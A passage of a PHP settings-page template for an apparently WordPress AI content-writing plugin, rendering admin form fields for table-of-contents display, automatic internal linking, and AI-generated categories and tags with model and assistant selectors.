== "6") { echo " selected"; } ?>><?php echo esc_html__("6 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="7"<?php if ($when_toc == "7") { echo " selected"; } ?>><?php echo esc_html__("7 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="8"<?php if ($when_toc == "8") { echo " selected"; } ?>><?php echo esc_html__("8 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="9"<?php if ($when_toc == "9") { echo " selected"; } ?>><?php echo esc_html__("9 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="10"<?php if ($when_toc == "10") { echo " selected"; } ?>><?php echo esc_html__("10 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="11"<?php if ($when_toc == "11") { echo " selected"; } ?>><?php echo esc_html__("11 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="12"<?php if ($when_toc == "12") { echo " selected"; } ?>><?php echo esc_html__("12 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the title to show on top of the table of contents.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Table Of Contents Title:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="title_toc" name="aiomatic_Spinner_Settings[title_toc]" placeholder="Table of Contents" class="cr_width_full" value="<?php echo esc_attr($title_toc);?>"> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show headings hierarchically.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Hierarchical Table of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="hierarchy_toc" name="aiomatic_Spinner_Settings[hierarchy_toc]"<?php if ($hierarchy_toc == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add numbers to list items from the Table of Contents.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Numbers To List Items:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="add_numbers_toc" name="aiomatic_Spinner_Settings[add_numbers_toc]"<?php if ($add_numbers_toc == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Include the following heading levels. Deselecting a heading will exclude it.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Heading Levels To Include:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="heading_levels1" name="aiomatic_Spinner_Settings[heading_levels1]"<?php if ($heading_levels1 == 'on') echo ' checked '; ?>><label for="heading_levels1"><?php echo esc_html__('Heading 1 - h1', 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="heading_levels2" name="aiomatic_Spinner_Settings[heading_levels2]"<?php if ($heading_levels2 == 'on') echo ' checked '; ?>><label for="heading_levels2"><?php echo esc_html__('Heading 2 - h2', 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="heading_levels3" name="aiomatic_Spinner_Settings[heading_levels3]"<?php if ($heading_levels3 == 'on') echo ' checked '; ?>><label for="heading_levels3"><?php echo esc_html__('Heading 3 - h3', 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="heading_levels4" name="aiomatic_Spinner_Settings[heading_levels4]"<?php if ($heading_levels4 == 'on') echo ' checked '; ?>><label for="heading_levels4"><?php echo esc_html__('Heading 4 - h4', 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="heading_levels5" name="aiomatic_Spinner_Settings[heading_levels5]"<?php if ($heading_levels5 == 'on') echo ' checked '; ?>><label for="heading_levels5"><?php echo esc_html__('Heading 5 - h5', 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="heading_levels6" name="aiomatic_Spinner_Settings[heading_levels6]"<?php if ($heading_levels6 == 'on') echo ' checked '; ?>><label for="heading_levels6"><?php echo esc_html__('Heading 6 - h6', 'aiomatic-automatic-ai-content-writer');?></label><br/> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Specify headings to be excluded from appearing in the table of contents. Separate multiple headings with a pipe |. Use an asterisk * as a wildcard to match other text. Note that this is not case sensitive. Some examples: Fruit* ignore headings starting with \"Fruit\" *Fruit Diet* ignore headings with \"Fruit Diet\" somewhere in the heading Apple Tree|Oranges|Yellow Bananas ignore headings that are exactly \"Apple Tree\", \"Oranges\" or \"Yellow Bananas\"", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excluded Headings Patterns:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" cols="70" name="aiomatic_Spinner_Settings[exclude_toc]" placeholder="Headings to exclude" class="cr_width_full"><?php echo esc_textarea($exclude_toc);?></textarea> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the direction in which you want to float the Table of Contents.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Table Of Contents Position:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="float_toc" name="aiomatic_Spinner_Settings[float_toc]" > <option value="none"<?php if (empty($float_toc) || $float_toc == "none") { echo " selected"; } ?>><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="left"<?php if ($float_toc == "left") { echo " selected"; } ?>><?php echo esc_html__("Left", 'aiomatic-automatic-ai-content-writer');?></option> <option value="right"<?php if ($float_toc == "right") { echo " selected"; } ?>><?php echo esc_html__("Right", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color theme for the Table of Contents.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Table Of Contents Color Theme:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="color_toc" name="aiomatic_Spinner_Settings[color_toc]" > <option value="transparent"<?php if ($color_toc == "transparent") { echo " selected"; } ?>><?php echo esc_html__("Transparent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="gray"<?php if (empty($color_toc) || $color_toc == "gray") { echo " selected"; } ?>><?php echo esc_html__("Gray", 'aiomatic-automatic-ai-content-writer');?></option> <option value="blue"<?php if ($color_toc == "blue") { echo " selected"; } ?>><?php echo esc_html__("Light Blue", 'aiomatic-automatic-ai-content-writer');?></option> <option value="white"<?php if ($color_toc == "white") { echo " selected"; } ?>><?php echo esc_html__("White", 'aiomatic-automatic-ai-content-writer');?></option> <option value="black"<?php if ($color_toc == "black") { echo " selected"; } ?>><?php echo esc_html__("Black", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr><td> <h2><?php echo esc_html__("Post Content Automatic Linking Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add automatic links to other posts from your site, to keywords from each post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add Links To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_links" name="aiomatic_Spinner_Settings[add_links]" onchange="mainChanged4();" > <option value="disabled"<?php if ($add_links == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_links == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain4"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the automatic linking method you want to use in the edited content. You can choose between Aiomatic's built-in method and using the Internal Link Juicer plugin (in which case, Aiomatic will create keywords which will be able to be used by Internal Link Juicer, for internal linking).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Internal Linking Method To Use:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="link_method" name="aiomatic_Spinner_Settings[link_method]" onchange="mainChanged4();"> <option value="aiomatic"<?php if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $linkjuicer_active = true; if (!is_plugin_active('internal-links/wp-internal-linkjuicer.php') && !is_plugin_active('internal-links-premium/wp-internal-linkjuicer.php')) { $linkjuicer_active = false; } if (empty($link_method) || $link_method == "aiomatic" || $linkjuicer_active == false) { echo " selected"; } ?>><?php echo esc_html__("Aiomatic's Built-in Method", 'aiomatic-automatic-ai-content-writer');?></option> <option value="linkjuicer"<?php if ($link_method == "linkjuicer" && $linkjuicer_active != false) { echo " selected"; } if($linkjuicer_active === false) { echo ' disabled title="You need to install the Internal Link Juicer plugin for this option to be active!"'; } ?>><?php echo esc_html__("Internal Link Juicer plugin", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideMain4l"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the Internal Link Juicer Keyword Extractor. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The Internal Link Juicer Keyword Extractor:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[link_juicer_prompt]" placeholder="Generate a comma-separated list of relevant keywords for the post title: '%%post_title%%'."><?php echo esc_textarea($link_juicer_prompt); ?></textarea> </div> </td></tr> <tr class="hideMain4l"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="link_juicer_assistant_id" name="aiomatic_Spinner_Settings[link_juicer_assistant_id]" class="cr_width_full" onchange="assistantSelected('link_juicer_assistant_id', 'disableLinkJuicer');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($link_juicer_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($link_juicer_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain4l"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for categories generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Categories Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="link_juicer_model" name="aiomatic_Spinner_Settings[link_juicer_model]" <?php if($link_juicer_assistant_id != ''){echo ' disabled';}?> class="disableLinkJuicer cr_width_full" onchange="visionSelectedAI9();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($link_juicer_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain4l hideVision9"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_link_juicer" name="aiomatic_Spinner_Settings[ai_vision_link_juicer]"<?php if ($ai_vision_link_juicer == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideMain4a"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking. The default value for this settings field is 3-5", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="max_links" name="aiomatic_Spinner_Settings[max_links]" placeholder="3-5" class="cr_width_full" value="<?php echo esc_attr($max_links);?>"> </td> </tr> <tr class="hideMain4a"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks();" name="aiomatic_Spinner_Settings[link_type]"> <option value="internal"<?php if ($link_type == "internal") { echo " selected"; } ?>><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"<?php if ($link_type == "manual") { echo " selected"; } ?>><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"<?php if ($link_type == "mixed") { echo " selected"; } ?>><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideMain4a hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_Spinner_Settings[link_list]" placeholder="URL list (one per line)" class="cr_width_full"><?php echo esc_textarea($link_list);?></textarea> </td> </tr> <tr class="hideMain4 hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_Spinner_Settings[link_nofollow]"<?php if ($link_nofollow == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideMain4a"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Inboud Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="link_post_types" name="aiomatic_Spinner_Settings[link_post_types]" placeholder="post" class="cr_width_full" value="<?php echo esc_attr($link_post_types);?>"> </td> </tr> <tr><td> <h2><?php echo esc_html__("Post Automatic Categories Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add categories to posts from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add Categories To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_cats" name="aiomatic_Spinner_Settings[add_cats]" onchange="mainChanged7();" > <option value="disabled"<?php if ($add_cats == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_cats == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain7"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of categories to add. You can also use value ranges, like: 3-5. The default value is 1-2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Categories To Add To The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="max_cats" name="aiomatic_Spinner_Settings[max_cats]" placeholder="1-2" class="cr_width_full" value="<?php echo esc_attr($max_cats);?>"> </td> </tr> <tr class="hideMain7"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_Spinner_Settings[skip_inexist]"<?php if ($skip_inexist == 'on') echo ' checked '; ?>> </td></tr> <tr class="hideMain7"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI category generator. This command can be any given task or order, based on which, it will generate categories for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_cats]" placeholder="Write a comma separated list of 5 categories for post title: %%post_title%%"><?php echo esc_textarea($ai_cats); ?></textarea> </div> </td></tr> <tr class="hideMain7"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="categories_assistant_id" name="aiomatic_Spinner_Settings[categories_assistant_id]" class="cr_width_full" onchange="assistantSelected('categories_assistant_id', 'disableCategories');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($categories_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($categories_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain7"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for categories generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Categories Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="cats_model" name="aiomatic_Spinner_Settings[cats_model]" <?php if($categories_assistant_id != ''){echo ' disabled';}?> class="disableCategories cr_width_full" onchange="visionSelectedAI7();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($cats_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain7 hideVision7"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_cat" name="aiomatic_Spinner_Settings[ai_vision_cat]"<?php if ($ai_vision_cat == 'on') echo ' checked '; ?>> </td> </tr> <tr><td> <h2><?php echo esc_html__("Post Automatic Tags Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add tags to posts from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add Tags To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_tags" name="aiomatic_Spinner_Settings[add_tags]" onchange="mainChanged8();" > <option value="disabled"<?php if ($add_tags == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_tags == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain8"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of tags to add. You can also use value ranges, like: 3-5. The default value is 1-2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Tags To Add To The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="max_tags" name="aiomatic_Spinner_Settings[max_tags]" placeholder="1-2" class="cr_width_full" value="<?php echo esc_attr($max_tags);?>"> </td> </tr> <tr class="hideMain8"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create tags which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of tags from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="skip_inexist_tags" name="aiomatic_Spinner_Settings[skip_inexist_tags]"<?php if ($skip_inexist_tags == 'on') echo ' checked '; ?>> </td></tr> <tr class="hideMain8"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI tag generator. This command can be any given task or order, based on which, it will generate tags for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Tags Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_tags]" placeholder="Write a comma separated list of 5 tags for post title: %%post_title%%"><?php echo esc_textarea($ai_tags); ?></textarea> </div> </td></tr> <tr class="hideMain8"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="tags_assistant_id" name="aiomatic_Spinner_Settings[tags_assistant_id]" class="cr_width_full" onchange="assistantSelected('tags_assistant_id', 'disableTags');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($tags_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($tags_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain8"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tags 